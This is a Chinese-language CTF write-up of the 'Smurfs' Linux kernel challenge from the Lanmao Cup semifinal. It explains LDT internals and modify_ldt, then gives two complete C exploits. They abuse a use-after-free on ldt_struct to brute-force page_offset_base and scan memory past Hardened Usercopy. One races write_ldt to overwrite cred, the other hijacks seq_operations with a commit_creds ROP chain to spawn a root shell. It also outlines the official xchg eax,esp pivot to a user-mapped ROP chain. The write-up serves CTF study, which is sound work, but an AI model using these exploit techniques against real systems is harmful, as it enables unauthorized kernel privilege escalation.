蓝帽杯半决赛 Smurfs复现 前言 提供了del,add,edit,其中有比较裸的uaf,edit可以编辑前八个字节,但是没有泄露地址的功能,在比赛期间我采用seq_operations
的start
指针来控制程序流,kernel的地址随机化只有9位,所以采用硬爆的策略打远程,可惜脸黑,爆了两个小时,到比赛结束还是没有爆出来。虽有一定可行性但是正解肯定不是这样,官方解出来看了看发现非常有含金量,遂复现一波。
相关内核知识学习 进程ldt 虽然题目的利用思路和这个关系不是很大,但看都看了就记录一下。
介绍LDT就不得不介绍GDT了,简而言之,GDT是全局描述符表,而LDT是局部描述符表,在kvm的学习中接触过GDT,但是当时不理解为什么加了这个东西为什么就可以实现保护了,在询问Alex
学长一波后终于搞懂,他是怎么实现内存保护以及进程位隔离的了。
一个cpu有一个全局描述符表GDT,GDT相当于一个数组,每一个元素就是一个段描述符,一个段描述符就记录这个段的一些信息,比如段的基地址段的大小之类的,这个数组的地址存储在寄存器GDTR
中,然后在段寄存器中就不会记录段的具体信息,而是记录一个段选择子,通过这个段选择子完成对某一个段描述符的索引
段选择子包括三部分,描述索引符,TL,RPL,其中描述索引符就是索引段描述符的,TL有两种可能,0代表在GDT中寻找,1代表在LDT中寻找。
LDT是在保护模式下实现进程间隔离的重要的机制,每个LDT都记录一个进程的段的信息,包括cs,ds,ss之类的,也是由段描述符组成的数组,他是一段内存,也可以看做一个段,所以可以在GDT中用一个描述符去记录他,也有一个寄存器LDTR,不过他不是记录LDT的基地址,而是一个选择子,当段寄存器的TL位是1的话,代表就是LDT选择,CPU会根据LDTR作为一个索引去GDT表中找描述符,找见的描述符就是对应一个LDT地址,然后再用对应的段寄存器的index找到对应的段描述符,可见,进程之间的LDTR不一样,他们的LDT就不一样,段寄存器就不一样,进程间就隔离了,比较形象的描述如下如图。
modify_ldt 系统调用 ldt_struct 该结构体是0x10大小的,然后前八个字节是一个指针,通过uaf我们得到这个结构体,然后通过edit可以控制前八个字节,也就是控制entries
指针。
1 2 3 4 5 struct ldt_struct { struct desc_struct *entries ; unsigned int nr_entries; int slot; };
其中 struct desc_struct
就是一个段描述符
1 2 3 4 5 6 struct desc_struct { u16 limit0; u16 base0; u16 base1: 8 , type: 4 , s: 1 , dpl: 2 , p: 1 ; u16 limit1: 4 , avl: 1 , l: 1 , d: 1 , g: 1 , base2: 8 ; } __attribute__((packed));
moddify_ldt系统调用 可以通过linux提供的modity_ldt
来获取或者修改当前进程的LDT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr , unsigned long , bytecount) { int ret = -ENOSYS; switch (func) { case 0 : ret = read_ldt(ptr, bytecount); break ; case 1 : ret = write_ldt(ptr, bytecount, 1 ); break ; case 2 : ret = read_default_ldt(ptr, bytecount); break ; case 0x11 : ret = write_ldt(ptr, bytecount, 0 ); break ; } return (unsigned int )ret; }
moddify_ldt系统调用一共提供了四个功能,参数有三个,fun,ptr,bytecount,ptr
是我们传入的结构体指针,结构体为user_desc
1 2 3 4 5 6 7 8 9 10 11 struct user_desc { unsigned int entry_number; unsigned int base_addr; unsigned int limit; unsigned int seg_32bit:1 ; unsigned int contents:2 ; unsigned int read_exec_only:1 ; unsigned int limit_in_pages:1 ; unsigned int seg_not_present:1 ; unsigned int useable:1 ; };
read_ldt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 static int read_ldt (void __user *ptr, unsigned long bytecount) { struct mm_struct *mm = current->mm; unsigned long entries_size; int retval; down_read(&mm->context.ldt_usr_sem); if (!mm->context.ldt) { retval = 0 ; goto out_unlock; } if (bytecount > LDT_ENTRY_SIZE * LDT_ENTRIES) bytecount = LDT_ENTRY_SIZE * LDT_ENTRIES; entries_size = mm->context.ldt->nr_entries * LDT_ENTRY_SIZE; if (entries_size > bytecount) entries_size = bytecount; if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) { retval = -EFAULT; goto out_unlock; } if (entries_size != bytecount) { if (clear_user(ptr + entries_size, bytecount - entries_size)) { retval = -EFAULT; goto out_unlock; } } retval = bytecount; out_unlock: up_read(&mm->context.ldt_usr_sem); return retval; }
函数会使用copy_to_user
把ldt->entires的值拷贝到传入的ptr
中,就是把这个进程的LDT拷贝到ptr
中,如果拷贝不成功,那就会返回-1.我们可以检查返回值判断是否读取成功,也就是可以爆破出heap或者kernel地址。
write_ldt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 static int write_ldt (void __user *ptr, unsigned long bytecount, int oldmode) { struct mm_struct *mm = current->mm; struct ldt_struct *new_ldt , *old_ldt ; unsigned int old_nr_entries, new_nr_entries; struct user_desc ldt_info ; struct desc_struct ldt ; int error; error = -EINVAL; if (bytecount != sizeof (ldt_info)) goto out; error = -EFAULT; if (copy_from_user(&ldt_info, ptr, sizeof (ldt_info))) goto out; error = -EINVAL; if (ldt_info.entry_number >= LDT_ENTRIES) goto out; if (ldt_info.contents == 3 ) { if (oldmode) goto out; if (ldt_info.seg_not_present == 0 ) goto out; } if ((oldmode && !ldt_info.base_addr && !ldt_info.limit) || LDT_empty(&ldt_info)) { memset (&ldt, 0 , sizeof (ldt)); } else { if (!ldt_info.seg_32bit && !allow_16bit_segments()) { error = -EINVAL; goto out; } fill_ldt(&ldt, &ldt_info); if (oldmode) ldt.avl = 0 ; } if (down_write_killable(&mm->context.ldt_usr_sem)) return -EINTR; old_ldt = mm->context.ldt; old_nr_entries = old_ldt ? old_ldt->nr_entries : 0 ; new_nr_entries = max(ldt_info.entry_number + 1 , old_nr_entries); error = -ENOMEM; new_ldt = alloc_ldt_struct(new_nr_entries); if (!new_ldt) goto out_unlock; if (old_ldt) memcpy (new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE); new_ldt->entries[ldt_info.entry_number] = ldt; finalize_ldt_struct(new_ldt); error = map_ldt_struct(mm, new_ldt, old_ldt ? !old_ldt->slot : 0 ); if (error) { if (!WARN_ON_ONCE(old_ldt)) free_ldt_pgtables(mm); free_ldt_struct(new_ldt); goto out_unlock; } install_ldt(mm, new_ldt); unmap_ldt_struct(mm, old_ldt); free_ldt_struct(old_ldt); error = 0 ; out_unlock: up_write(&mm->context.ldt_usr_sem); out: return error; }
可以通过这个函数重新申请一个ldt结构体绑定到进程上,我们就可以利用uaf控制这个结构题,然后就可以控制其中的entries
了。
这个函数处理可以控制ldt以外还可以完成任意写,观察下面的代码
1 2 3 4 if (old_ldt) memcpy (new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE); new_ldt->entries[ldt_info.entry_number] = ldt;
在memcpy
函数中,拷贝的大小是old_nr_entries * LDT_ENTRY_SIZE
,其中old_nr_entries
的上限和LDT_ENTRY_SIZE
大小都有定义
1 2 3 #define LDT_ENTRIES 8192 #define LDT_ENTRY_SIZE 8
可见还是比较大的,然后还没有加锁,那就可以在memcpy
拷贝的期间条件竞争修改entries
字段,ldt也是我们传入的值,再执行new_ldt->entries[ldt_info.entry_number] = ldt;
就可以完成任意地址写八字节了。
解法一 遍历内存泄露地址修改进程cred完成提权 该解法思路主要参考TCTF FINAL
的一道kernelpwn题。
乐,整了一天多,就算我把qemu的核增多最后的条件竞争还是不行,而且我确定已经可以控制ldt
结构体了,但就是条件竞争失败,哎,虽说没有整出来,但是还是学到了一手遍历内存搜索cred
结构体的方法
当开了Hardened Usercopy
的时候我们遍历整个page_offset_base
还是会报错的,因为task_struct
结构体就在这里,而这里是不允许向用户态拷贝的,但是tctf final
这道题就提供了一个非常好的思路,就是利用fork
机制和ldt
结构体绕过Hardened Usercopy
首先fork会有如下调用链
1 2 3 4 5 6 7 8 sys_fork() kernel_clone() copy_process() copy_mm() dup_mm() dup_mmap() arch_dup_mmap() ldt_dup_context()
最后的ldt_dup_context()
就是负责ldt结构体拷贝的
1 2 3 4 5 6 7 8 9 10 11 12 13 int ldt_dup_context (struct mm_struct *old_mm, struct mm_struct *mm) { memcpy (new_ldt->entries, old_mm->context.ldt->entries, new_ldt->nr_entries * LDT_ENTRY_SIZE); }
所以只要我们控制了父进程的ldt-entries
指针,就拷贝任意一段内存到子进程的ldt-entries
上,而且这是内核向内核拷贝,不会触发保护,然后我们再从子进程中读取ldt-entries
就可以了
最后的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 #define _GNU_SOURCE #include <sys/types.h> #include <sys/ioctl.h> #include <sys/prctl.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/wait.h> #include <asm/ldt.h> #include <stdio.h> #include <signal.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <ctype.h> size_t vmlinux_nokaslr_addr=0xffffffff81000000 ;size_t kernel_base=0 ;size_t user_cs,user_ss,user_rflags,user_sp;void saveStatus (void ) { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has ben saved." ); } void usr_shell () { puts ("getshelling" ); if (getuid()==0 ){ puts ("[*]----getshell ok" ); system("cat /flag" ); system("/bin/sh" ); }else { puts ("[*] getshell fail" ); } } int ko_fd;void chunk_free (size_t idx) { size_t args[3 ]; args[0 ]=idx; ioctl(ko_fd,'0' ,args); } void chunk_edit (size_t idx,char *buf) { size_t args[3 ]; args[0 ]=idx; args[1 ]=8 ; args[2 ]=buf; ioctl(ko_fd,'P' ,args); } void chunk_add (size_t size,char *buf) { size_t args[3 ]; args[0 ]=size; args[1 ]=buf; ioctl(ko_fd,' ' ,args); } size_t cred_addr=0 ;void pthread_write (int v1) { sleep(2 ); char buf[0x100 ]; *(size_t *)buf=cred_addr+4 ; chunk_edit(1 ,buf); } void debug () { printf ("[*] debug\n" ); } struct user_desc u_desc ;int main () { char buf1[0x2000 ]={0 }; char buf2[0x5000 ]={0 }; ko_fd=open("/dev/kernelpwn" ,0 ); int pipe_fd[2 ]={0 }; size_t cred_addr=0 ; int cur_pid; size_t *comm; pthread_t tid; cpu_set_t cpu_set; memset (buf1,0 ,0x2000 ); chunk_add(0x10 ,buf1); chunk_free(0 ); u_desc.base_addr=0xff0000 ; u_desc.entry_number=0x1000 /8 ; u_desc.limit=0 ; u_desc.seg_32bit=0 ; u_desc.contents=0 ; u_desc.read_exec_only=0 ; u_desc.limit_in_pages=0 ; u_desc.seg_not_present=0 ; u_desc.useable=0 ; u_desc.lm=0 ; syscall(SYS_modify_ldt,1 ,&u_desc,sizeof (u_desc)); size_t page_offset_base=0xffff888000000000 ; *(size_t *)buf1=page_offset_base; while (1 ){ chunk_edit(0 ,buf1); int ret=syscall(SYS_modify_ldt,0 ,buf1,8 ); if (ret<0 ){ page_offset_base+=0x40000000 ; *(size_t *)buf1=page_offset_base; continue ; } break ; } printf ("page_offset_base_addr:%p\n" ,page_offset_base); size_t addr=page_offset_base; *(size_t *)buf1=addr; cur_pid=getpid(); pipe(pipe_fd); prctl(PR_SET_NAME,"jingyinghuaa" ); while (1 ) { chunk_edit(0 ,buf1); int pid=fork(); if (!pid){ int ret=syscall(SYS_modify_ldt,0 ,buf2,0x4000 ); if (ret<0 ){ printf ("modify_idf again fail\n" ); exit (1 ); } comm=(size_t *)memmem(buf2,0x4000 ,"jingyinghuaa" ,12 ); if (comm \ && (comm[-2 ] > page_offset_base) \ && (comm[-3 ] > page_offset_base) \ && (((int ) comm[-58 ]) == cur_pid)){ cred_addr = comm[-2 ]; } write(pipe_fd[1 ],&cred_addr,8 ); exit (0 ); } wait(NULL ); read(pipe_fd[0 ],&cred_addr,8 ); if (cred_addr){ break ; } addr+=0x4000 ; *(size_t *)buf1=addr; } printf ("cred_addr:%p\n" ,cred_addr); int pid_1=fork(); if (!pid_1){ int pid_2=fork(); if (!pid_2){ sleep(3 ); printf ("buhaole\n" ); CPU_ZERO(&cpu_set); CPU_SET(1 , &cpu_set); sched_setaffinity(0 , sizeof (cpu_set), &cpu_set); *(size_t *)buf1=cred_addr+4 ; while (1 ){ chunk_edit(1 ,buf1); } } chunk_add(0x10 ,buf1); chunk_free(1 ); printf ("begin to test\n" ); sleep(4 ); CPU_ZERO(&cpu_set); CPU_SET(0 , &cpu_set); sched_setaffinity(0 , sizeof (cpu_set), &cpu_set); u_desc.base_addr = 0 ; u_desc.entry_number = 2 ; u_desc.limit = 0 ; u_desc.seg_32bit = 0 ; u_desc.contents = 0 ; u_desc.limit_in_pages = 0 ; u_desc.lm = 0 ; u_desc.read_exec_only = 0 ; u_desc.seg_not_present = 0 ; u_desc.useable = 0 ; syscall(SYS_modify_ldt, 1 , &u_desc, sizeof (u_desc)); sleep(10000 ); } sleep(10 ); if (geteuid()){ printf ("fail\n" ); system("/bin/sh" ); } printf ("okk\n" ); setreuid(0 ,0 ); setregid(0 ,0 ); }
解法二 遍历内存泄露地址劫持seq_operations+rop提权 思路 总的来说就是先利用modify_ldt爆破page_0ffset_base
这块的线性地址,这段虚拟地址在ret2dir
中就学习到过,是一段连续的虚拟地址,一共有64TB,映射了所有的物理内存,kmalloc
的内存申请就是在这里进行的,在不开kaslr的时候,page_offset_base=0xffff888000000000
,但是本题开了,所以需要爆破这个的地址,爆破就是利用read_ldt
来爆破,
代码如下,就是在0xffff888000000000
的基础上每次加0x40000000
,至于为什么要加0x40000000
,我猜测是page_offset_base
也是指定的几位随机化,和代码段一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 size_t page_offset_base=0xffff888000000000 ; *(size_t *)buf1=page_offset_base; while (1 ){ chunk_edit(0 ,buf1); int ret=syscall(SYS_modify_ldt,0 ,buf1,8 ); if (ret<0 ){ page_offset_base+=0x40000000 ; *(size_t *)buf1=page_offset_base; continue ; } break ; } printf ("page_offset_base_addr:%p\n" ,page_offset_base);
至于为什么不直接爆破kernel的代码段,我尝试了一下,发现了内核会直接报错退出,至于原因,应该是内核开启了 Hardened Usercopy
保护,开启这个保护后,在向内核拷贝数据或者从内核中拷贝数据的时候就会进行检查,检查这段内核内存是否在堆栈中,是否是object,是否非内核或者代码段,按我的理解,简而言之,有些内存可以拷贝,比如堆栈,有些就不行,比如代码段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 *(size_t *)buf1=vmlinux_nokaslr_addr; int i=0 ; while (1 ){ chunk_edit(0 ,buf1); printf ("num:%d\n" ,i); int ret=syscall(SYS_modify_ldt,0 ,buf1,8 ); if (ret<0 ){ vmlinux_nokaslr_addr+=0x100000 ; *(size_t *)buf1=vmlinux_nokaslr_addr; i++; continue ; } break ; } printf ("page_offset_base_addr:%p\n" ,vmlinux_nokaslr_addr);
爆破出来page_offset_base
,那就可以利用read_ldt
在这段地址上读取堆信息,堆中就有kernel_base地址,然后就是seq_operations
+内核pt_regs
栈迁移打了。
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 #include <sys/types.h> #include <stdio.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <poll.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> #include <sys/syscall.h> #include <asm/ldt.h> #include <sys/mman.h> #include <sys/prctl.h> #define add_rsp_0x180_pop_3_ret 0xffffffff815141ae #define pop_rdi_ret 0xffffffff8108c420 #define swapgs_restore_regs_and_return_to_usermode 0xffffffff81c00fb0 #define commit_creds 0xffffffff810c9540 #define prepare_kernel_cred 0xffffffff810c99d0 #define pop_2_ret 0xffffffff810006a6 #define ret_gadget 0xffffffff810001fc size_t ret_addr;size_t pop_2_ret_addr;size_t add_rsp_0x180_pop_3_ret_addr;size_t pop_rdi_ret_addr;size_t swapgs_restore_regs_and_return_to_usermode_addr;size_t commit_creds_addr;size_t prepare_kernel_cred_addr;int offsets;size_t vmlinux_nokaslr_addr=0xffffffff81000000 ;size_t kernel_base=0 ;size_t user_cs,user_ss,user_rflags,user_sp;int ko_fd;void saveStatus (void ) { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has ben saved." ); } void usr_shell () { puts ("getshelling" ); if (getuid()==0 ){ puts ("[*]----getshell ok" ); system("cat /flag" ); system("/bin/sh" ); }else { puts ("[*] getshell fail" ); } } void chunk_free (size_t idx) { size_t args[3 ]; args[0 ]=idx; ioctl(ko_fd,'0' ,args); } void chunk_edit (size_t idx,char *buf) { size_t args[3 ]; args[0 ]=idx; args[1 ]=8 ; args[2 ]=buf; ioctl(ko_fd,'P' ,args); } void chunk_add (size_t size,char *buf) { size_t args[3 ]; args[0 ]=size; args[1 ]=buf; ioctl(ko_fd,' ' ,args); } void debug () { printf ("[*] debug\n" ); } int seq_fd;struct user_desc u_desc ;int main (int argc, char ** argv, char ** envp) { saveStatus(); char buf1[0x1000 ]; char buf2[0x1000 ]; ko_fd=open("/dev/kernelpwn" ,0 ); memset (buf1,0 ,0x1000 ); chunk_add(0x10 ,buf1); chunk_free(0 ); u_desc.base_addr=0xff0000 ; u_desc.entry_number=0x1000 /8 ; u_desc.limit=0 ; u_desc.seg_32bit=0 ; u_desc.contents=0 ; u_desc.read_exec_only=0 ; u_desc.limit_in_pages=0 ; u_desc.seg_not_present=0 ; u_desc.useable=0 ; u_desc.lm=0 ; syscall(SYS_modify_ldt,1 ,&u_desc,sizeof (u_desc)); size_t page_offset_base=0xffff888000000000 ; *(size_t *)buf1=page_offset_base; while (1 ){ chunk_edit(0 ,buf1); int ret=syscall(SYS_modify_ldt,0 ,buf1,8 ); if (ret<0 ){ page_offset_base+=0x40000000 ; *(size_t *)buf1=page_offset_base; continue ; } break ; } printf ("page_offset_base_addr:%p\n" ,page_offset_base); size_t addr=page_offset_base+0x9d000 ; *(size_t *)buf1=addr; chunk_edit(0 ,buf1); syscall(SYS_modify_ldt,0 ,buf2,0x1000 ); kernel_base=*(size_t *)buf2-0x40 ; printf ("[*] kernel_base:%p\n" ,kernel_base); chunk_add(0x20 ,buf1); chunk_free(1 ); seq_fd=open("/proc/self/stat" , O_RDONLY); add_rsp_0x180_pop_3_ret_addr=add_rsp_0x180_pop_3_ret-vmlinux_nokaslr_addr+kernel_base; pop_rdi_ret_addr=pop_rdi_ret-vmlinux_nokaslr_addr+kernel_base; commit_creds_addr=commit_creds-vmlinux_nokaslr_addr+kernel_base; prepare_kernel_cred_addr=prepare_kernel_cred-vmlinux_nokaslr_addr+kernel_base; swapgs_restore_regs_and_return_to_usermode_addr=swapgs_restore_regs_and_return_to_usermode-vmlinux_nokaslr_addr+kernel_base+0xe ; *(size_t *)buf1=add_rsp_0x180_pop_3_ret_addr; chunk_edit(1 ,buf1); __asm__( "mov r15, pop_rdi_ret_addr;" "mov r14, 0;" "mov r13, prepare_kernel_cred_addr;" "mov r12, commit_creds_addr;" "mov rbp, swapgs_restore_regs_and_return_to_usermode_addr;" "mov rax, 0;" "mov rdi, seq_fd;" "mov rsi, rsp;" "mov rdx, 0x200;" "syscall;" ); usr_shell(); }
官方解法 十分巧妙的解法,学到了很多。
官方前期的地址爆破和我大差不差,但在后面对seq_operations
的start
指针的利用开始不一样了,由于只开了kpti
和smep
,所以在内核态还是可以访问用户态数据的,所以可以在用户态布置内核rop然后在内核态直接把sp寄存器迁移到用户态。
那么问题来了,怎么利用一个函数指针让rsp指向自己布置在内核态的rop呢,官方解法里给出了一个十分巧妙(至少我第一次见)的方法,就是利用以下gadget
xchg就是互换两个寄存器的数据,一般函数指针都是先加载到rax寄存器中然后再call rax
的,所以执行xchg eax, esp
的时候rax就指向这个gadget的地址,这个gadget的地址是可控的,但是可惜是内核地址,但是注意这个gadget只是交换寄存器的后32位,交换完后的esp就落到了用户态了,随意我们只要mmap(xchg_eax_esp & 0xfffff000, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
就可以把rsp指向用户态了。
官解在布置rop的时候没有重新设置cr3
的值,也就是没有更换页表,所以最后返回用户态之后执行指令肯定会爆段错误,官解是这样处理的,他设置了段错误的处理函数,这样在发生了段错误以后,重新陷入内核态,然后内核态自动切换到用户态然后执行处理函数spawn_shell
,这样就可以不用我们布置但是完美的返回到了用户态并执行用户态指令了。
但是直接布置swapgs_restore_regs_and_return_to_usermode
使用的内存其实差不多的,嘿嘿,可以用但是没必要。
1 2 3 4 void spawn_shell (void ) { system("/bin/sh" ); } signal(SIGSEGV, spawn_shell);
总结 通过这道题也是学到了很多,更加熟悉用户态页表和内核态页表的隔离机制了,比如开了kpti但是不开smep在内核态时其实和开了没有差别,但是开了kpti开不开smap差别还是挺大的。
然后是对swapgs_restore_regs_and_return_to_usermode
的理解,在学习ret2dir
的时候我不理解为什么交换了页表之后还是可以继续执行swapgs_restore_regs_and_return_to_usermode
,通过mit6.s081
的学习,能这样做的唯一解法就是这个函数在用户态和内核态都进行了映射,然后映射的虚拟地址是一模一样的,也佐证了用户态页表映射了少量的内核态地址。
这道题在爆破到内核地址后就是比较简单了,原因是没有开pt_regs
的偏移和smap
,假如这两个都开了的话,目前我能想到的解法就是利用ret2dir
进行rop了,这样会比较麻烦。